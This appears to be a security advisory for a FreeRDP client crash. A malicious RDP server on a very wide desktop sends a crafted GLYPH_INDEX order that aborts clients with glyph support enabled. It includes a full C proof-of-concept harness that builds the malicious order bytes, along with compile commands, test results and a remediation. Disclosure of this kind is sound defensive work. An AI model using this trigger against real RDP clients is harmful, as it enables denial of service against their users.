Read the docs

Opted-in GLYPH_INDEX client abort from unrepresentable background width

Priority LOW 30CWE-20Published · Updated

Key facts

Attack vector
Network
Privileges required
None
User interaction
Required
Attack complexity
High
Impact type
Denial of service
Confidentiality · integrity · availability
None · None · Low
Fix status
Fixed

Attack profile from CVSS 3.1 · GHSA-jqf4-4p68-4p43. Fix status from GitHub. Impact type from CWE-617.

Summary

A malicious RDP server can abort a FreeRDP client that opted into glyph orders with `/cache:glyph:on` or disabled order support checks with `/relax-order-checks`. The server must negotiate a desktop width of at least 32768 and send a `GLYPH_INDEX` order with `bkLeft=-32768` and `bkRight=32767`. `update_gdi_glyph_index` computes background width 65536; `update_process_glyph_fragments` clips the negative left edge, leaving width 32768, and the screen-width clamp leaves it unchanged on such a wide desktop. `WINPR_ASSERTING_INT_CAST(INT16, bkWidth)` then aborts an assertion-enabled client. The default `GlyphSupportLevel` is `GLYPH_SUPPORT_NONE`, so the normal client rejects this order before it reaches the renderer. A server ORDER capability can only clear, not set, the client's order bit. In a preserved real-order-parser test with the bit enabled and desktop width 40000, the client exited 134 at the checked cast. The same order with the default bit off was rejected without abort, and a 32767-pixel desktop control returned normally. No complete malicious-server run or memory-corruption result was demonstrated. ### Reproduction This complete C harness passes a 35-byte wire-format `GLYPH_INDEX` order through FreeRDP's real `update_recv_order` parser and graphics callback. It models the negotiated desktop width and client glyph opt-in directly, so it is a parser test, not a live server. Save the listing as `cand69_order_parser.c`; compile against a matching configured FreeRDP build: ```sh export FREERDP_SOURCE=/path/to/FreeRDP export FREERDP_BUILD=/path/to/FreeRDP-build OBJ="$FREERDP_BUILD/libfreerdp/CMakeFiles/freerdp.dir" cc -O1 -g -std=gnu11 -D_GNU_SOURCE -DFREERDP_EXPORTS -DNONAMELESSUNION \ -DWINPR_DEFINE_ATTR_NODISCARD -DWITH_OPENSSL -DWITH_VERBOSE_WINPR_ASSERT \ -DWITH_X11 -DWITH_XKBFILE -D_FILE_OFFSET_BITS=64 \ -I"$FREERDP_SOURCE/winpr/include" -I"$FREERDP_BUILD/winpr/include" \ -I"$FREERDP_BUILD" -I"$FREERDP_BUILD/include" -I"$FREERDP_SOURCE/include" \ -I"$FREERDP_SOURCE/libfreerdp" -I"$FREERDP_BUILD/client/common" \ -I"$FREERDP_SOURCE/client/common" -o cand69_order_parser cand69_order_parser.c \ "$OBJ"/cache/*.o "$OBJ/core/graphics.c.o" "$OBJ/core/update.c.o" \ "$OBJ/core/orders.c.o" "$OBJ/core/connection.c.o" "$OBJ/core/window.c.o" \ -L"$FREERDP_BUILD/client/common" -lfreerdp-client3 \ -L"$FREERDP_BUILD/libfreerdp" -lfreerdp3 \ -L"$FREERDP_BUILD/winpr/libwinpr" -lwinpr3 \ -Wl,-rpath,"$FREERDP_BUILD/client/common:$FREERDP_BUILD/libfreerdp:$FREERDP_BUILD/winpr/libwinpr" ./cand69_order_parser 40000 ./cand69_order_parser 40000 default ./cand69_order_parser 32767 ``` ```c /* * Adversarial validation harness for CAND-000069 (GLYPH_INDEX bk rectangle). * * Drives the REAL order parser update_recv_order() from the audited source * tree object file with a wire-format primary GLYPH_INDEX order, after the * real gdi_init() registered update_gdi_glyph_index() on * update->primary->GlyphIndex. The sink abort happens in the library's * update_process_glyph_fragments() via WINPR_ASSERTING_INT_CAST(INT16,bkWidth). * * Order bytes per MS-RDPEGDI 2.2.2.2.1 (primary drawing order header): * controlFlags = ORDER_STANDARD | ORDER_TYPE_CHANGE (0x09) * orderType = ORDER_TYPE_GLYPH_INDEX (0x1B) * fieldFlags (3 bytes, little endian) = fields 1..14 + 20 + 21 * fields: cacheId=1 flAccel=0 ulCharInc=0 fOpRedundant=0, * backColor=0 foreColor=0, * bkLeft=-32768 bkTop=0 bkRight=32767 bkBottom=0, * opLeft/opTop/opRight/opBottom=0, * brush subfields 15..19 absent, x=0 y=0, field 22 absent. * * DesktopWidth=40000 mimics rdp_read_bitmap_capability_set() storing the raw * server UINT16. OrderSupport[NEG_GLYPH_INDEX_INDEX]=1 mimics the server ORDER * capability set only after the client opts into glyph support. * * The harness exercises a local parser route. */ #include <freerdp/config.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <freerdp/freerdp.h> #include <freerdp/client.h> #include <freerdp/gdi/gdi.h> #include <freerdp/codec/color.h> #include <freerdp/update.h> #include "core/rdp.h" #include "core/orders.h" #include "core/update.h" #include <winpr/stream.h> /* hidden build-tree symbols */ BOOL cache_resize(rdpContext* context); static void put_u16(BYTE* p, UINT16 v) { p[0] = (BYTE)(v & 0xFF); p[1] = (BYTE)(v >> 8); } int main(int argc, char** argv) { /* control mode: ./cand69_order_parser 32767 (width below the INT16 boundary) * default mode: ./cand69_order_parser 40000 default (do NOT set OrderSupport bit) */ const UINT32 width = (argc > 1) ? (UINT32)strtoul(argv[1], NULL, 0) : 40000U; const BOOL setOrderSupport = !((argc > 2) && (strcmp(argv[2], "default") == 0)); RDP_CLIENT_ENTRY_POINTS entry = WINPR_C_ARRAY_INIT; entry.Version = RDP_CLIENT_INTERFACE_VERSION; entry.Size = sizeof(RDP_CLIENT_ENTRY_POINTS_V1); entry.ContextSize = sizeof(rdpClientContext); rdpContext* context = freerdp_client_context_new(&entry); if (!context) { fprintf(stderr, "freerdp_client_context_new failed\n"); return 2; } rdpSettings* settings = context->settings; /* exactly what rdp_read_bitmap_capability_set() stores from the wire */ freerdp_settings_set_uint32(settings, FreeRDP_DesktopWidth, width); freerdp_settings_set_uint32(settings, FreeRDP_DesktopHeight, 100); freerdp_settings_set_uint32(settings, FreeRDP_ColorDepth, 32); /* exactly what rdp_read_order_capability_set() stores from the wire *only when* * the client itself enabled glyph support (/cache:glyph => GlyphSupportLevel=FULL * => freerdp_settings_set_default_order_support sets this bit). */ if (setOrderSupport) settings->OrderSupport[NEG_GLYPH_INDEX_INDEX] = 1; context->codecs = freerdp_client_codecs_new(0); if (!context->codecs || !freerdp_client_codecs_prepare(context->codecs, FREERDP_CODEC_ALL, width, 100)) { fprintf(stderr, "codecs prepare failed\n"); return 2; } freerdp* instance = context->instance; if (!cache_resize(context) || !gdi_init(instance, PIXEL_FORMAT_BGRX32)) { fprintf(stderr, "gdi_init failed\n"); return 2; } context->rdp->state = CONNECTION_STATE_ACTIVE; BYTE data[64]; size_t p = 0; data[p++] = ORDER_STANDARD | ORDER_TYPE_CHANGE; data[p++] = ORDER_TYPE_GLYPH_INDEX; data[p++] = 0xFF; /* fieldFlags bits 0..7 : fields 1..8 */ data[p++] = 0x3F; /* fieldFlags bits 8..15 : fields 9..14 (+ brush-free) */ data[p++] = 0x18; /* fieldFlags bits 16..23: fields 20,21 (0x18 = bits 19,20) */ data[p++] = 0x01; /* field 1 cacheId */ data[p++] = 0x00; /* field 2 flAccel */ data[p++] = 0x00; /* field 3 ulCharInc */ data[p++] = 0x00; /* field 4 fOpRedundant */ data[p++] = 0x00; data[p++] = 0x00; data[p++] = 0x00; /* field 5 backColor */ data[p++] = 0x00; data[p++] = 0x00; data[p++] = 0x00; /* field 6 foreColor */ put_u16(&data[p], 0x8000); p += 2; /* field 7 bkLeft = -32768 */ put_u16(&data[p], 0x0000); p += 2; /* field 8 bkTop = 0 */ put_u16(&data[p], 0x7FFF); p += 2; /* field 9 bkRight = 32767 */ put_u16(&data[p], 0x0000); p += 2; /* field 10 bkBottom = 0 */ put_u16(&data[p], 0x0000); p += 2; /* field 11 opLeft */ put_u16(&data[p], 0x0000); p += 2; /* field 12 opTop */ put_u16(&data[p], 0x0000); p += 2; /* field 13 opRight */ put_u16(&data[p], 0x0000); p += 2; /* field 14 opBottom */ put_u16(&data[p], 0x0000); p += 2; /* field 20 x */ put_u16(&data[p], 0x0000); p += 2; /* field 21 y */ wStream sbuffer = WINPR_C_ARRAY_INIT; wStream* s = Stream_StaticConstInit(&sbuffer, data, p); fprintf(stderr, "calling update_recv_order (wire GLYPH_INDEX bkLeft=-32768 bkRight=32767, " "DesktopWidth=%u, orderSupportBit=%d, %zu bytes)\n", width, setOrderSupport, p); fflush(stderr); const BOOL ok = update_recv_order(context->update, s); printf("NO-ABORT: returned %d\n", ok); return 0; } ``` In the preserved assessed-build run, `40000` with the glyph order-support bit enabled aborted at `WINPR_ASSERTING_INT_CAST(INT16, bkWidth)` in `update_process_glyph_fragments` (exit 134). `40000 default` logged an unsupported order and exited 0; `32767` with the bit enabled returned normally. The support bit is off in default clients and requires `/cache:glyph:on` or `/relax-order-checks` in a real session. These parser-level controls do not establish full network delivery or behavior in a 3.32.0 binary. **Impact:** Conditional termination of an assertion-enabled client process. No confidentiality, integrity, or code-execution impact was demonstrated. **Validation:** Source inspection and preserved real-order-parser crash, default-order-bit rejection, and desktop-width boundary controls. **Remediation:** Validate the clipped background width against `INT16_MAX` before storing it in an `INT16` rectangle, and return a drawing error rather than asserting on a server-supplied order. Test widths 32767 and 32768 with glyph support on and off.

Why it matters now

Fix Fixed FreeRDP (c): 3.32.2

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—FreeRDP (c)<= 3.32.13.32.2Patch availableGHSA-jqf4-4p68-4p43
  • FreeRDP (c) Vendor— Affected <= 3.32.1 Fixed in 3.32.2 Patch available GHSA-jqf4-4p68-4p43

Remediation

  • Fix · GHSA-jqf4-4p68-4p43 FreeRDP (c) Fixed in 3.32.2 Advisory →

Timeline

  1. 2026-11-12 Threatist record created from GHSA-jqf4-4p68-4p43

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences